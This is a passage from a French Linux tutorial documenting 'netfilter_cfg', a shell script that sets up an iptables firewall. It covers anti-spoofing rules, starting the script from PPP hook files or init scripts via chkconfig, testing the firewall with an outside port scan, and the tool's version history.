iptables -A INPUT -i ppp0 -p all -m state –state RELATED,ESTABLISHED -j ACCEPT

Personnellement, je pense être un peu trop paranoïaque pour laisser des règles un peu trop souple de ce type. C’est pourquoi lorsque “netfilter_cfg” s’exécute, il détecte automatiquement la présence ou non de la connexion à Internet, et récupère l’adresse IP qui a été fournit par le fournisseur d’accès. Ainsi, si mon adresse IP est 26.87.145.23, mes règles seront automatiquement définies par :

iptables -A OUTPUT -o ppp0 -s 26.87.145.23 -p all -m state –state ! INVALID -j ACCEPT
iptables -A INPUT -i ppp0 -d 26.87.145.23 -p all -m state –state RELATED,ESTABLISHED -j ACCEPT

Contrairement aux 2 précédentes règles :

Ma première règle interdit à un programme tournant sur ma machine de se faire passer pour une autre machine d’Internet. Je ne suis pas un “vilain pirate”, donc ma machine n’a pas à avoir un tel comportement.

Ma seconde règle interdit à une machine externe de se faire passer pour quelqu’un d’autre que ce qu’elle prêtent être. C’est un moyen supplémentaire d’éviter d’être piraté.

Bon, il commence à être tard, et vous vous demandez où je veux en venir, non ???

Le but de cette explication n’était pas de montrer que mon script est peut-être meilleur (ou pas …) que les autres, mais uniquement de vous faire comprendre à quel moment il faut le lancer … Car, à n’en point douter, vous avez compris que pour ce que ce programme marche, il doit être lancé une fois que la connexion Internet est activée. Car ce n’est qu’à ce moment là que votre adresse IP Internet est connue…

4 cas sont donc possibles :

La méthode que je recommande est celle que nous avons déjà évoqué ici et là. Il s’agit tout simplement de laisser votre Linux lancer “netfilter_cfg” au démarrage et à l’arrêt de votre connexion Internet. Pour cela, nous allons utiliser une fonctionnalité de “PPP”, le logiciel responsable de votre connexion à Internet.

En effet, au démarrage (respectivement à l’arrêt) de ce programme, Linux lance automatiquement le script “/etc/ppp/ip-up.local” (respectivement “/etc/ppp/ip-down.local”). Il nous suffit donc de créer ces 2 petits scripts qui lanceront systématiquement “netfilter_cfg”, afin qu’il prenne en compte l’activation et l’arrêt de la connexion Internet.

Par exemple, ou pourra écrire les scripts ci-dessous :

Pour l’établissement de la connexion Internet (fichier “/etc/ppp/ip-up.local”) :

o [root@phoenix /]# cat /etc/ppp/ip-up.local

o #!/bin/sh -norc

o #

o /usr/local/sbin/netfilter_cfg –wait-connexion on –silence on

A l’arrêt de la connexion Internet (fichier “/etc/ppp/ip-down.local”) :

o [root@phoenix /]# cat /etc/ppp/ip-down.local

o #!/bin/sh -norc

o #

o /usr/local/sbin/netfilter_cfg –silence on

Et il ne faudra pas oublier de les rendre exécutables :

[root@phoenix /]# chmod 744 /etc/ppp/ip-up.local

[root@phoenix /]# chmod 744 /etc/ppp/ip-down.local

Ces deux scripts seront automatiquement exécutés lors de l’utilisation d’une connexion :

utilisant un modem téléphonique classique (connexion RTC).

via un modem ADSL (dégroupé ou non), connecté à la machine par un câble USB (utilisation du pilote Eagle-USB)

via un modem ADSL non dégroupée, connecté à la machine par une connexion Ethernet (utilisation du programme rp-ppoe).

Si vous avez la chance d’avoir à la fois un modem Ethernet et une connexion ADSL dégroupée (à l’heure où j’écris ces lignes, en France seul le fournisseur d’accès à Internet Free le propose), vous n’avez pas besoin d’utiliser “PPP” pour vous connecter à Internet. La connexion se fait en effet automatiquement en utilisant une requête DHCP. Il faut faudra alors utiliser une autre méthode pour lancer automatiquement “netfilter_cfg”, et c’est ce que nous allons voir tout de suite.

La 2nd méthode que je propose, est de démarrer “netfilter_cfg” lors de la phase de boot, c’est à dire lors de l’exécution des scripts d’inits. Ces scripts sont ceux qui s’affichent probablement au démarrage de votre machine, tout en écrivant à l’écran une série de lignes “OK” ou “ERROR”.

Pour cela, j’ai écris un autre (petit) script, “netfilter_cfgd” (notez bien le “d” à la fin du nom) que vous allez installer sur votre machine, qui se lancera automatiquement, lors de la phase de boot de la machine :

Copiez le fichier “netfilter_cfgd” dans votre répertoire “/etc/init.d/”

Donne au root la propriété de ce fichier, ainsi que les droits d’exécution :

o [root@phoenix /]# chown root:root /etc/init.d/netfilter_cfgd

o [root@phoenix /]# chmod 744 /etc/init.d/netfilter_cfgd

Puis configurer votre Linux pour que “netfilter_cfgd” soit lancé au démarrage :

o [root@phoenix /]# chkconfig –add netfilter_cfgd

Et vérifiez que le script sera bien lancé au prochain démarrage de la machine :

o [root@phoenix /]# ls -la /etc/rc*.d/ | grep net

o lrwxrwxrwx 1 root root 24 mar 9 22:28 S03netfilter_cfgd -> ../init.d/netfilter_cfgd*

o lrwxrwxrwx 1 root root 17 oct 18 16:06 S10network -> ../init.d/network*

o lrwxrwxrwx 1 root root 15 oct 18 16:06 S25netfs -> ../init.d/netfs*

o lrwxrwxrwx 1 root root 16 jan 10 00:36 S56xinetd -> ../init.d/xinetd*

Que vous utilisiez une connexion RTC ou ADSL, dégroupé ou non, il est intéressant de lancer quand même “netfilter_cfgd” comme ceci au démarrage de la machine. Ainsi, même si votre connexion Internet n’est pas activée tout de suite, votre firewall sera quand même opérationnel. Et si “netfilter_cfg” n’est pas démarré après votre connexion ADSL, comme vu avec la technique ci-dessus, au moins votre machine sera protégée. Vous n’aurez certes pas accès à Internet (Netfilter bloquera toutes vos connexions), mais au moins personne de l’extérieur ne pourra non plus accéder à votre machine.

Il reste deux cas que nous n’avons pas encore traité, il s’agit des cas :

d’une connexion ADSL dégroupé, utilisant une connexion ethernet entre le PC et le modem.

d’une connexion internet, utilisant un routeur.

Dans ces deux cas, on ne peut pas lancer “netfilter_cfg” :

avant l’activation de la connexion réseau/Internet, car le programme ne pourra pas trouver la passerelle, et il se croira dans un réseau local, isolé de connexions externes.

automatiquement après la connexion à Internet, car le mécanisme automatique fournit par PPP vu ci-dessus n’est pas utilisé.

Alors, mission impossible ? Non la solution existe, et elle est simple. Il suffit de lancer “netfilter_cfgd” plus tard, après que la configuration réseau soit complètement activée.

Pour cela, il faut éditer “/etc/init.d/netfilter_cfgd”, et modifier la ligne configurant “chkconfig” :

[root@phoenix /]# less /etc/init.d/netfilter_cfgd

#!/bin/sh

#

###############################################################################

# This is file /etc/rc.d/init.d/netfilter_cfgd

#

# chkconfig: 2345 03 97

#

….

Chkconfig est le mécanisme qui permet de gérer l’ordre de démarrage des scripts d’inits (lancez “man chkconfig” pour des informations plus détaillées sur ce mécanisme) :

“2345” signifie que le script “netfilter_cfgd” sera lancé pour les runlevel 2, 3, 4, et 5 (c’est standard comme configuration).

“03” signifie que pour les runlevel de démarrage de la machine (mode graphique ou texte), le script sera un des premiers à être lancé.

“97” signifie que pour les runlevel d’arrêt de la machine (extinction ou reboot), le script sera un des derniers à être arrêté.

Bref, pour retarder le démarrage de “netfilter_cfgd”, il faudra augmenter le chiffres “03″ et réduire le “97″, en respectant une règle simple : la somme des deux chiffres doit être égale à 100.

Concrètement, pour une distribution Linux Mandrake le script de démarrage du réseau (”/etc/init.d/network”) démarre en position “11″. Donc il faudra démarrer “netfilter_cfgd” un peu plus tard, en position “12″ par exemple. Dans ce cas, on écrira :

[root@phoenix /]# vi /etc/init.d/netfilter_cfgd

#!/bin/sh

#

###############################################################################

# This is file /etc/rc.d/init.d/netfilter_cfgd

#

# chkconfig: 2345 12 88

#

….

Et on n’oubliera pas de lancer “chkconfig”, afin que la modification soit prise en compte :

[root@phoenix /]# chkconfig –add netfilter_cfgd

KPPP avec lancement du script de firewall

3ème technique, vous vous connectez par modem. Supposons que vous utilisiez un logiciel graphique pour vous connecter, comme “KPPP” par exemple, vous pouvez demander à ce logiciel de lancer automatiquement “/usr/bin/sudo /usr/local/sbin/netfilter_cfg” après la connexion à Internet. De même que vous pouvez aussi le lancer après la déconnexion, afin que votre firewall ne soit pas ennuyé par une interface “ppp0″ n’existant plus.

Utilisez pour cela dans “KPPP”, l’onglet “Exécution” de chacun de votre compte Internet.

Bien évidement, pour que cela marche, il faut que vous ayez configurer le mécanisme de “sudo” pour que vous puissiez lancer “netfilter_cfg” avec les droits root. Tout ceci étant déjà explique un peu plus haut.

Dernière solution : Vous voulez vraiment vous faire suer, et lancer “netfilter_cfg” manuellement. C’est tout particulièrement pratique pour les phases de tests et de configuration de “netfilter_cfg”, mais à terme c’est assez lourd à gérer. Mais si vous êtes masochiste à ce point, l’explication a déjà été donné ici, ici et là.

Bon, récapitulons un peu ce que nous venons de voir ci-dessus :

Type de connexion

Programme de connexion Internet

Technique à utiliser

Modem RTC

PPP/KPPP (ou autres)

Méthode 1
Netfilter_cfgd et ip-up.local && ip-down.local

Méthode 2
Netfilter_cfgd et Lancement de scripts via KPPP et sudo

Modem ADSL non dégroupé & connexion USB

startadsl

Netfilter_cfgd et ip-up.local && ip-down.local

Modem ADSL non dégroupé & connexion ethernet

adsl-start

Netfilter_cfgd et ip-up.local && ip-down.local

Modem ADSL dégroupé & connexion USB

startadsl

Netfilter_cfgd et ip-up.local && ip-down.local

Modem ADSL dégroupé & connexion ethernet

Aucun

Netfilter_cfgd en modifiant le niveau d’init

Modem-routeur ADSL ou routeur simple

Aucun

Netfilter_cfgd en modifiant le niveau d’init

V-6 Test

Pour tout ce qui est des tests d’intrusion, afin de vérifier la validité de votre firewall, le programme le plus intéressant qu’il existe est “nmap”, qui est un scannair de ports. Ce programme peut être utilisé pour lancer des connexions sur une machine d’un réseau, afin de voir quels sont les ports TCP/IP qui sont ouverts.

Vous pourriez l’utiliser pour tester vous même la qualité de votre firewall sur votre adresse IP Internet par exemple, mais malheureusement cela ne peut pas marcher. En effet, dans ce cas précis le kernel Linux comprend que l’expéditeur et le récepteur de la communication sont une seule et même machine (lui-même), et donc il fait passer la communication via l’interface loopback (même si “nmap” affichera votre adresse IP Internet). Or, les filtrages de cet interfaces lui sont spécifiques, et sans rapport avec ceux de votre connexion Internet…

Vous êtes déçu ? Nannn, il ne faut pas. Il existe 2 méthodes très efficaces pour tester malgré tout votre configuration de netfilter :

Demandez à un ami qui utilise Linux ou Windows® (nmap fonctionne dans les 2 environnements), de lancer la commande “nmap” depuis sa machine sur votre adresse IP. Tachez de bien lui donner votre adresse IP, et pas celle d’un site web militaire ou gouvernemental, car le cas échéant, la personne visé peut ne pas du tout apprécier. L’utilisation de “nmap” est considéré comme étant plutôt agressive par les administrateurs, voir à la limite de la tentative d’intrusion dans leurs systèmes.

Si vous n’avez pas d’amis, vous pouvez toujours essayer les tests d’intrusion de PcFlank (Menu “Quick test”, “Stealth test”, etc …), ou d’un site équivalent (voir à ce sujet cette autre documentation que j’ai écrit). Cela donne des résultats intéressants, mais ce type de site ne testent pas tout les ports IP, ni toutes les astuces de “port scanning”. Donc ce n’est pas un test très complet…

Conclusion : Faites vous un ami !!!!

VI Conclusion

Voila, je pense avoir fait le tour de la question sur la philosophie, le paramétrage et l’utilisation de ce programme. Ce programme est tout particulièrement adapté dans le cas d’une connexion via modem RTC ou ADSL non permanent, en se lançant après le démarrage du démon ppp ou des programmes de connexion ADSL. Il peut aussi s’utiliser dans un réseau local, possédant une passerelle (ou “gateway” en anglais) pour la connexion à Internet.

Hormis la phase de configuration, qui peut sembler un brin ardus, l’utilisation de ce programme est très aisé, et le lancement sans aucun paramètre suffit à protéger votre machine dans la majeure partie des cas.

Bien évidement, je suis ouvert à toutes suggestions et toutes questions quand à son utilisation, son développement, ou à sa documentation.

VII Remerciements

Merci à Jean-Roch, Fouad, François, Keyvan et Serge pour avoir participé aux tests et à la mise en production.

Merci aussi à Antoine BUSCH, Christian CHANUEL, Jak HIGHLANDER, Francois-Xavier ‘FiX’ KOWALSKI, JP SYLVANIE, pour leurs idées, patchs et ajouts de fonctionnalités

Merci enfin aux futurs utilisateurs qui vont me renvoyer plein de retours d’expérience…

VIII Historique du document

Version de Netfilter_cfg

Date

Remarque

Version 0.5.8

2004/03/11

Ajout du support du client BitTorrent.
Ajout du paramètre “–lan-dhcp-server” afin autoriser les broadcasts DHCP du LAN.
L’option “–wan-xmule-server” est renommée en “–wan-xmule”.
Correction du “wan-gateway”, et d’un possible port scanning de la part de la passerelle.

Version 0.5.7

2004/03/03

Ajout du support du client GnomeMeeting.

Version 0.5.6

2004/02/29

Ajout de filtrages plus restrictifs pour l’ADSL dégroupé, et corrections pour le “wan-gateway”.
Ajout du support du client xMule.
Corrections sur le chargement des modules.
Ajout du paramètre “–silence”.
Correction du problèmes des adresses IP multiples sur une interface réseau.

Version 0.5.5

2003/11/02

Correction des règles anti-spoofing.
Ajout du “–wait-connexion”.
Amélioration du “DebugWrite”.
Ajout du support du support des serveurs HTTP, Jabber, SSH.
Correction dans les règles ULOG.

Version 0.5.4

2003/06/17

Première version publique, documentation au format XHTML.

Version 0.5.2

2003/06/11

Première version semi-publique, documentation en format texte.

Remarques :

La version 0.5.8 sera sans doute la dernière version écrite en langage “sh”. La prochaine version prévue (numérotation > 0.7.0) sera très probablement écrite en Perl, afin de régler les problèmes de performance du script actuel. Elle sera surtout l’occasion de changer complètement la technique de filtrage (utilisation de tables utilisateurs, filtrage des connexions sortantes, séparation entre les paramètres et le code, etc…), afin de rendre Netfilter lui-même plus rapide et efficace.

Les versions prévues entre la 1.0.0 et la 2.0.0 seront sans doute écrites en C++. Les ambitions sont très nombreuses, trop sans doute pour être déjà évoquées…

Commentaires
572 Commentaires »

Catégories
serveur linux

Flux rss des commentaires

Trackback

« Entrées Précédentes

Type de connexion	Programme de connexion Internet	Technique à utiliser
Modem RTC	PPP/KPPP (ou autres)	Méthode 1 Netfilter_cfgd et ip-up.local && ip-down.local
Modem RTC	PPP/KPPP (ou autres)	Méthode 2 Netfilter_cfgd et Lancement de scripts via KPPP et sudo
Modem ADSL non dégroupé & connexion USB	startadsl	Netfilter_cfgd et ip-up.local && ip-down.local
Modem ADSL non dégroupé & connexion ethernet	adsl-start	Netfilter_cfgd et ip-up.local && ip-down.local
Modem ADSL dégroupé & connexion USB	startadsl	Netfilter_cfgd et ip-up.local && ip-down.local
Modem ADSL dégroupé & connexion ethernet	Aucun	Netfilter_cfgd en modifiant le niveau d’init
Modem-routeur ADSL ou routeur simple	Aucun	Netfilter_cfgd en modifiant le niveau d’init

Version de Netfilter_cfg	Date	Remarque
Version 0.5.8	2004/03/11	Ajout du support du client BitTorrent. Ajout du paramètre “–lan-dhcp-server” afin autoriser les broadcasts DHCP du LAN. L’option “–wan-xmule-server” est renommée en “–wan-xmule”. Correction du “wan-gateway”, et d’un possible port scanning de la part de la passerelle.
Version 0.5.7	2004/03/03	Ajout du support du client GnomeMeeting.
Version 0.5.6	2004/02/29	Ajout de filtrages plus restrictifs pour l’ADSL dégroupé, et corrections pour le “wan-gateway”. Ajout du support du client xMule. Corrections sur le chargement des modules. Ajout du paramètre “–silence”. Correction du problèmes des adresses IP multiples sur une interface réseau.
Version 0.5.5	2003/11/02	Correction des règles anti-spoofing. Ajout du “–wait-connexion”. Amélioration du “DebugWrite”. Ajout du support du support des serveurs HTTP, Jabber, SSH. Correction dans les règles ULOG.
Version 0.5.4	2003/06/17	Première version publique, documentation au format XHTML.
Version 0.5.2	2003/06/11	Première version semi-publique, documentation en format texte.

Archives en ligne de commandes

ncompress - Compresseur des débuts d’UNIX

gz - Compression gzip

bz2 - Compression bzip2

tar - Archives GNU tar

tar.bz & tgz - Archives compressées gzip

tar.bz2 - Archives compressées bzip2

zip - Archives compatible Windows

Navigation

Recherche